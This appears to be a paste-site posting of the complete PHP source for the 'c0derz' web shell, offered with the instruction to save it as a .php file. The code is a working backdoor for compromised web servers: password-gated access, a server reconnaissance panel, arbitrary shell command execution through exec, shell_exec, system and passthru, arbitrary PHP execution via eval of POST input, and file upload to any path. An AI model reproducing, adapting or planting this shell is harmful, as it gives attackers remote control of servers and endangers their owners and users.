coderz shell save it in .php format

SUBMITTED BY: nabz

DATE: Jan. 22, 2017, 12:44 p.m.

FORMAT: Text only

SIZE: 13.3 kB

Raw Download

HITS: 1524

Report
  1. <?php
  3. /****************************************************************
  5. *
  7. * .::[csh]::. //(.::[c0derz]::. web-shell) v. 0.1.1 release
  9. * ----------------------------
  11. * c0ded by: [vINT 21h]
  13. * URL: http://c0derz.org.ua
  15. * e-mail: vint21h@c0derz.org.ua
  17. * ICQ: 255577736
  19. *
  21. ****************************************************************/
  23. /***************************************************************
  25. *
  27. * This program is free software; you can redistribute it and/or modify
  29. * it under the terms of the GNU General Public License as published by
  31. * the Free Software Foundation; either version 2 of the License', or
  33. * ('at your option) any later version.
  35. *
  37. ****************************************************************/
  39. $self = $_SERVER['PHP_SELF'];
  41. $docr = $_SERVER['DOCUMENT_ROOT'];
  43. $achtung=1;
  45. //authentification
  47. $authentification = 1;
  49. $name='63a9f0ea7bb98050796b649e85481845';//root
  51. $pass='5cdbe638246729485a5eab6b93f170e2';//c0derz
  53. $caption="Enter your login and password";
  55. if ($authentification && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass))
  57. {
  59. header("WWW-Authenticate: Basic realm=\"$caption\"");
  61. header("HTTP/1.0 401 Unauthorized");
  63. exit("<BODY text=#000000 vLink=#000000 aLink=#000000 link=#000000 bgcolor=#888888><h1>Error 401</h1><h2>Unauthorized access!</h2>");
  65. }
  67. if($achtung)
  69. error_reporting(E_ALL&~E_NOTICE);
  71. else
  73. error_reporting(0);
  75. //---------------------
  77. //get page generating time
  79. if (!function_exists("get_micro_time")) {
  81. function get_micro_time() {
  83. list($usec, $sec) = explode(" ", microtime());
  85. return ((float)$usec + (float)$sec);
  87. }
  89. }
  91. define("start_time",get_micro_time());
  93. $cshver="<a href=http://c0derz.org.ua target='_BLANK' title='.::[c0derz shell]::.'><b>.::[csh]::.</b></a> v. 0.1.1 release";
  95. //-------------------------------
  97. //normalize text encoding
  99. function decode($buffer){
  101. return convert_cyr_string ($buffer, 'd', 'w');
  103. }
  105. //---------------------------------
  107. ?>
  110. <HTML>
  112. <HEAD>
  114. <meta http-equiv='pragma' content='no-cache'>
  117. <?php
  119. echo "<TITLE>.:[csh]:.| [".get_current_user()."@".$SERVER_NAME."]</TITLE>";
  121. ?>
  124. <STYLE>
  126. BODY{scrollbar-base-color: 000000;
  128. scrollbar-face-color: #aaaaaa;
  130. scrollbar-highlight-color: #dddddd;
  132. scrollbar-shadow-color: #544554;
  134. scrollbar-dark-shadow-color: #111111;
  136. scrollbar-track-color: #222222;
  138. scrollbar-arrow-color: #dcdddc}
  140. a:visited { color: #dcdcdc; text-decoration: none}
  142. A:active { color: #dcdcdc; text-decoration: none; }
  144. a:link { color: #dcdcdc; text-decoration: none}
  146. a:hover { color: #ff3333; text-decoration: none}
  148. BODY {
  150. scrollbar-face-color: transparent;
  152. scrollbar-shadow-color: transparent;
  154. scrollbar-highlight-color: transparent;
  156. scrollbar-3dlight-color: transparent;
  158. scrollbar-darkshadow-color: transparent;
  160. scrollbar-track-color: #777777;
  162. scrollbar-arrow-color: #777777;
  164. }
  166. </STYLE>
  168. </HEAD>
  170. <BODY text=#000000 vLink=#000000 aLink=#000000 link=#000000 bgcolor=#888888>
  172. <DIV align=center>
  174. <TABLE bordercolor=#000000 cellSpacing=1 width=950 bgColor=#000000 border=0 height=600>
  176. <hr>
  178. <table width=950>
  180. <tr>
  182.   <td style="border: 1 solid #000000" bgcolor="677667">
  184. <font size="1" face="verdana" color="#000000">
  186. <left>
  188.  <table width=100%>
  190. <tr>
  192.   <td style="border: 1 solid #000000" bgcolor="555555" >
  194.   <font size="1" face="verdana" color="#000000">
  197. <?php
  199. echo "<font size=1 face=verdana color=fcfcfc><b>Server info:</b></font><br>";
  201. ?>
  204.  </td>
  206.  </tr>
  208.  </table>
  211. <?php
  213. //server info
  215. echo "Server name: <b><font color=#dcdcdc>".$SERVER_NAME."</b></font><br>";
  217. echo "Server IP adress:<b><font color=#dcdcdc>".$server_ip=gethostbyname($SERVER_NAME)."</b></font> <br>";
  219. echo (($safe_mode)?("Safe Mode: <font color=#ffffff><b>ON</b></font><br> "):
  221. ("Safe Mode: <font color=#555555><b>OFF</b></font><br> "));
  223. echo "OS: <font color=#dcdcdc>";
  225. if (empty($uname)){
  227. echo (php_uname()."</font><br>");
  229. }else
  231. echo $uname."</font><br>";
  233. echo 'User: <font color=#dcdcdc>' .get_current_user() . '</font><br>';
  235. echo "HTTP Server: <font color=#dcdcdc>".$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']."</font><br>";
  237. echo ("PHP: <font color=#dcdcdc>".phpversion()."</font><br> ");
  239. echo ("MySQL: ");
  241. if($mysql_stat=function_exists('mysql_connect')){
  243. echo "<font color=#ffffff><b>ON</b> </font><b>";
  245. }
  247. else {
  249. echo "<font color=#555555><b>OFF</b> </font><br>";
  251. }
  253. //---------------------------
  255. ?>
  258.  </td>
  260.  </tr>
  262.  </table>
  264. <tr>
  266. <td width="100" bgcolor="555555" valign="top">
  268. <center>
  270. <font face="tahoma" size="1" color="#000000"><div align="center"><b>.::[Shell functions]::.</b></div></font>
  272. <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  274. <table width=100%>
  276. <tr>
  278.   <td style="border: 1 solid #000000" bgcolor="888888" onmouseover="this.style.backgroundColor='#677667';" onmouseout="this.style.backgroundColor='#888888';">
  280.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  282. <a href="<?php echo $PHP_SELF."?mode=shell"?>" title="./$shell"><b>./ $shell</b></a><br>
  284. </td>
  286.  </tr>
  288.  </table>
  290. <table width=100%>
  292. <tr>
  294.   <td style="border: 1 solid #000000" bgcolor="677667" onmouseover="this.style.backgroundColor='#888888';" onmouseout="this.style.backgroundColor='#677667';">
  296.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  298. <a href="<?php echo $PHP_SELF."?mode=phpcode"?>" title="PHP code execution">./php execution</a><br>
  300. </td>
  302.  </tr>
  304.  </table>
  306.  <table width=100%>
  308. <tr>
  310.   <td style="border: 1 solid #000000" bgcolor="677667" onmouseover="this.style.backgroundColor='#888888';" onmouseout="this.style.backgroundColor='#677667';">
  312.  <font style="font: 11px/14px verdana, arial, sans-serif; color: #554455;">
  314. <a href="<?php echo $PHP_SELF."?mode=upload"?>" title="Upload file to server">./ upload file</a><br>
  316. </td>
  318.  </tr>
  320.  </table>
  322. </div>
  324. <br>
  326. <br>
  328. <br>
  330. <br>
  332. <br>
  334. <td bgcolor="555555" valign="top" >
  336. <center>
  338. <div style="margin-top: 5;">
  340. <table width="98%" cellpadding="1" cellspacing="0">
  342. <tr>
  344.   <td style="border: 1 solid #000000" bgcolor="555555" >
  346. <font size="1" face="verdana" color="#fcfcfc">
  348. <b><?php echo$head_text;?><b>
  350. <tr>
  352. <td colspan="3" bgcolor="#677667" style="border-left: 1 solid #000000" style="border-bottom: 1 solid #000000" style="border-right: 1 solid #000000">
  354. <font face="Verdana" size="2" color="#000000">
  356. <br>
  358. <?php
  360. if (!empty($_GET['mode'])) {$mode = $_GET['mode'];}
  362. elseif (!empty($_POST['mode'])) {$mode = $_POST['mode'];}
  364. else {$mode = "shell";}
  366. switch($mode) {
  368. case "shell":
  370. $foot_stat="Current directory: <b><font color=#dcdcdc>[".getcwd()."]</font></b></tr>";
  372. $head_text="Shell:";
  374. chdir($dir);
  376. function execute($com)
  378. {
  380. if (!empty($com))
  382. {
  384. if(function_exists('exec'))
  386. {
  388. exec($com,$arr);
  390. echo implode('
  392. ',$arr);
  394. }
  396. elseif(function_exists('shell_exec'))
  398. {
  400. echo shell_exec($com);
  402. }
  404. elseif(function_exists('system'))
  406. {
  408. echo system($com);
  410. }
  412. elseif(function_exists('passthru'))
  414. {
  416. echo passthru($com);
  418. }
  420. }
  422. }
  424. if ($cmd){
  426. if($sertype == "winda"){
  428. ob_start();
  430. execute($cmd);
  432. $buffer = "";
  434. $buffer = ob_get_contents();
  436. ob_end_clean();
  438. }
  440. else{
  442. ob_start();
  444. echo decode(execute($cmd));
  446. $buffer = "";
  448. $buffer = ob_get_contents();
  450. ob_end_clean();
  452. }
  454. if (trim($buffer)){
  456. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">Executed command: <b><font color=#dcdcdc>[$cmd]</font></b></form></td></tr></table></center><left><textarea cols=200 rows=40 style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">";
  458. echo decode($buffer);
  460. echo "</textarea></center></div>";
  462. }
  464. }
  466. echo "<table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">
  468. <form action=\"$REQUEST_URI\" method=\"POST\">
  470. <table><tr><td><font size=1 face=verdana color=000000>[".get_current_user()."@".$SERVER_NAME."]: </font><INPUT type=\"text\" name=\"cmd\" size=50 value=\"$cmd\" style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></table>
  472. <table><tr><td><font size=1 face=verdana color=000000>Current directory: </font><INPUT type=\"text\" name=\"dir\" size=50 value=\"";
  474. echo getcwd();
  476. echo "\"style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\">
  478. <INPUT type=\"submit\" value=\"Change directory =>\" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></table></form></td></tr></table>";
  480. break;
  482. case "phpcode":
  484. $head_text="PHP code execution:";
  486. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\"><b>PHP code:</b></td></tr></table><form action=\"$REQUEST_URI\" method=\"POST\"><textarea name=phpcode cols=200 rows=40 style=\"margin-left: 3; background-color: 555555; font-family: Tahoma; color: 000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></textarea><br><br>
  488. <input type=\"submit\" name=\"submit\" value=\" Execute PHP code => \" id=input style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></form></center></div>";
  490. echo "<center><table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\"><center><b>Results of PHP execution:</b></center>";
  492. @eval(stripslashes($_POST['phpcode']));
  494. echo "</td></tr></table></center>";
  496. break;
  498. case "upload":
  500. echo"<table width=100%><tr><td style=\"border: 1 solid \"000000\" \"bgcolor=677667\"><font size=\"1\" face=\"verdana\" color=\"#000000\">
  502. <table>
  504. <font size=\"1\" face=\"verdana\" color=\"#000000\">
  506. <form enctype=\"multipart/form-data\" action=\"$self\" method=\"POST\">
  508. <input type=\"hidden\" name=\"mode\" value=\"upload\">
  510. <tr>
  512. <td><font size=\"1\" face=\"verdana\" color=\"#000000\">File:</font></td>
  514. <td><input size=\"48\" name=\"file\" type=\"file\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td>
  516. </tr>
  518. <tr>
  520. <td><font size=\"1\" face=\"verdana\" color=\"#000000\">Path:</font></td>
  522. <td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"><input type=\"submit\" value=\"Send\" style=\"margin-left: 3; background-color: #555555; font-family: Tahoma; color: #000000; font-size: 7pt; font-weight: none; border: 1px solid rgb(0,0,0)\"></td></tr></form></font></table></td></tr></table>";
  524. if (isset($_POST['path'])){
  526. $uploadfile = $_POST['path'].$_FILES['file']['name'];
  528. if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
  530. echo"<table width=100%><tr><td style=\"border: 1 solid \"000000\" bgcolor=\"888888\"><font size=\"1\" face=\"verdana\" color=\"#000000\">";
  532. if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
  534. echo "File sucessfuly uploaded in to directory: <font color=ffffff>[$uploadfile]</font><br>";
  536. echo "Name: <font color=ffffff>[".$_FILES['file']['name']. "]</font><br>";
  538. echo "Size: <font color=ffffff>[" .$_FILES['file']['size']. "]</font> Bytes<br>";
  540. } else {
  542. print "Couldn't to upload file. Information:<br>";
  544. print_r($_FILES);
  546. }
  548. echo"</td></tr></table>";
  550. }
  552. break;
  554. }
  556. ?>
  559.  </tr>
  561.   </td>
  563.  </tr>
  565. <tr>
  567.   <td style="border: 1 solid #000000" bgcolor="555555" >
  569. <font size="1" face="verdana" color="#000000"><?echo $foot_stat;?>
  571. <tr>
  573.   <td style="border: none bgcolor="555555">
  575. <font size="1" face="verdana" color="#fcfcfc">
  577. <br>
  579. <tr>
  581. <tr>
  583. <td style="border: none bgcolor="555555">
  585. <font size="1" face="verdana" color="#fcfcfc">
  587. <br>
  589.  </tr>
  591. </table>
  593. </div>
  595. </td>
  597. </tr>
  599. </table>
  601. <table width=950>
  603. <tr>
  605.   <td style="border: 1 solid #000000" bgcolor="677667" >
  607. <font size="1" face="verdana" color="#000000">
  609. <center>
  612. <?php
  614. echo "-=[".$cshver." | Page generation time: <font color=#fcfcfc>[<b>".round(get_micro_time()-start_time,4). "</b>]</font> seconds.]=-";
  616. ?>
  619.  </td>
  621.  </tr>
  623.  </table>
  625. </BODY>
  627. </HTML>
comments powered by Disqus